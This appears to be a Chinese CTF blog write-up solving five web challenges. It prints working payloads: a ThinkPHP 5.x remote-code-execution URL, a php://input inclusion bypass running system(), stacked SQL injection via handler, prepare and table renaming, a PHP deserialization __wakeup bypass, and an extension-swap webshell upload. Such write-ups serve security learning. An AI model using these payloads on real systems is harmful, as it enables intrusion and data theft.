php-rce
由其页面信息可得其为ThinkPHP 5.x
框架,又由题目名字显然其让我们利用CMS漏洞打入,直接msf搜索利用
设置好攻击载荷和RHOSTS以及LHOST等参数后,执行exploit,很奇怪,msf执行成功但是却并未回弹任何shell,有如下推测。
- 一是对方网页布置在一个docker里,有保护机制防止服务器被日穿
- 二是我设置的LHOST并不是一个公网ip,很可能无法回弹shell
可以用有公网ip的VPS部署msf试试来验证猜想(我也有,留待日后验证),回过头来解题,搜索该版本漏洞利用和对应payload
1 | http://111.200.241.243:50986/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls |
即可得到
Web_php_include
打开场景是一段php代码,如下
1 |
|
查阅相关资料得知:**php://input
是个可以访问请求的原始数据的只读流,可以读取到来自POST的原始数据。**而strstr()
函数可以通过大小写绕过。所以打开burpsuit,由上述php代码可知我们要构造GET参数传递page,所以有:设置请求头GET /?page=PHP://input HTTP/1.1
。传递内容:<?php system("ls"); ?>
回传即内容。要注意相关shell操作要用system()函数调用。
suppersqli
sql注入经典题目了
- 直接sqlmap一把梭
- 认真分析手注
1 | 1. sqlmap python3 sqlmap.py -u <url>/?id=1 --dbs #查询数据库的库名 |
但是!sqlmap暴毙了,查询出了数据库但是并没有查出来tables,因为该注入方式在sqlmap里需要跑common-tables.txt表,对方表名不走寻常路QAQ。
So,转换思路,来考虑手注。首先判断该出存在sql注入点。
这里参考一篇很棒的博文:我是链接
1’不回显而1’#正常显示
这里考虑要先爆出库名,所以得使用语句show databases;
无意中尝试发现,当前一句结束后后续语句仍能发挥作用,查询后发现这种注入叫做堆叠注入。所以构造/?inject=1';show databases;
可得出数据库名。
这里有个坑,字符串做表名时候要加反引号!
1 | show columns from `1919114514`; |
好了,问题又出现了,因为限制了select
等句子,我们无法查看flag
列,这里借鉴了大佬们的思路。
方法一:使用handler
mysql里,使用handler进行查询:
1 | HANDLER tbl_name OPEN [ [AS] alias] |
因此有:
1 | 1';handler `1919810931114514` open;handler `1919810931114514` read first; |
方法三:预处理
首先我们需要知道下列知识:
用户变量和set语句:
用户变量即用户自己定义的变量,我们可以给用户变量分配值,并且可用在任何可以正常使用标量表达式的地方。
引入用户变量之前我们必须使用set语句或select语句来定义它,然后为它赋一个值,否则变量就只有一个空值。
用户变量与连接有关。也就是说,一个客户端定义的变量不能被其它客户端看到或使用。当客户端退出时,该客户端连接的所有变量将自动释放。
set语句可用于向系统变量或用户变量赋值,针对用户变量的定义如下:
1 | SET @var_name = expr [, @var_name = expr] ... |
也可使用select语句来定义:
1 | SELECT @var_name := expr [, @var_name = expr] ... |
用户变量:以”@“开始,形式为”@var_name”,以区分用户变量及列名。它可以是任何随机的,复合的标量表达式,只要其中没有列指定。
一个变量名可以由当前字符集的数字字母字符和“_”、“$”和“.”组成。缺省字符集是ISO-8859-1 Latin1;这可以用mysqld 的–default-character-set 选项更改字符集。
对于SET,可以使用=或:=来赋值,对于SELECT只能使用:=来赋值。
我们可以使用一条简单的select语句查询定义的用户变量的值。
Prepare语句:
prepare
语句利用客户端/服务器二进制协议。 它将包含占位符(?
)的查询传递给MySQL服务器,如下例所示:
1 | SELECT * |
当MySQL使用不同的productcode
值执行此查询时,不必完全解析查询。 因此,这有助于MySQL更快地执行查询,特别是当MySQL多次执行查询时。 因为prepare
语句使用占位符(?
),这有助于避免SQL注入的问题,从而使您的应用程序更安全一些。
我们来看一下使用MySQL PREPARE语句的例子。
1 | PREPARE stmt1 FROM 'SELECT productCode, productName |
首先,使用PREPARE
语句准备执行语句。我们使用SELECT
语句根据指定的产品代码从products
表查询产品数据。然后再使用问号(?
)作为产品代码的占位符。
为了使用MySQL准备语句,您需要使用其他三个MySQL语句如下:
- PREPARE - 准备执行的声明。
- EXECUTE - 执行由
PREPARE
语句定义的语句。 - DEALLOCATE PREPARE - 发布
PREPARE
语句。
接下来,声明了一个产品代码变量@pc
,并将其值设置为S10_1678
。
然后,使用EXECUTE
语句来执行产品代码变量@pc
的准备语句。
最后,我们使用DEALLOCATE PREPARE
来发布PREPARE
语句。
因此这题我们可以这样来进行注入:
1 | 1';set @sql=concat('sele','ct `flag` from `1919810931114514`');PREPARE stmt1 from @sql;EXECUTE stmt1; |
或者
1 | 0';sEt @sql=concat('sele','ct * from `1919810931114514`;');prePare stmt from @sql;EXECUTE stmt; |
注意大小写绕过set和prepare
方法三:使用rename和alter
我们使用rename和alter这两个命令来更改表名和字段名。因为我们可以访问words里的columns,发现id,也就是说我们输入的1默认是查询words这个表的。因此我们可以把words表改名成words1表,把1919810931114514表改名成words,然后再把1919810931114514里面的flag字段改名成id,然后输入1’ or 1=1#就可以成功得到flag了。
具体构造如下:
1 | 1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100); |
unserialize3
一道很简单的php反序列化
打开网站显示了以下代码
1 | class xctf{ |
显然告诉我们使用GET传递code参数,内容为xctf()函数的序列化内容,这样就会执行__wakeup()这个魔术方法函数,将我们需要的内容输出。
这里随便找了一个php在线运行的网站,感觉挺好用的 php在线运行
然后输出了O:4:"xctf":1:{s:4:"flag";s:3:"111";}
这样的序列化字符串,注意!**_wakeup(),要求被序列化的对象属性个数要大于原来的1**,所以变更对象为2再提交,即可得到flag
upload
也是一道很简单的上传题,加了一个web验证
写一个一句话木马保存到web.php文件中
1 |
|
上传时候发现其只允许上传.jpg文件,好办,改后缀为web.jpg
使用burpsuite上传后阶段,在Repeater模块中更改后缀名,改回web.php上传,下图为结果,返回了正确的路径
upload/1615307687.web.php
有了此路径之后就连接webshell工具
在前一个目录发现了flag
- 本文作者: Isabella
- 本文链接: https://username.github.io/2021/01/28/CTF-web-0/
- 版权声明: 本博客所有文章除特别声明外,均采用 MIT 许可协议。转载请注明出处!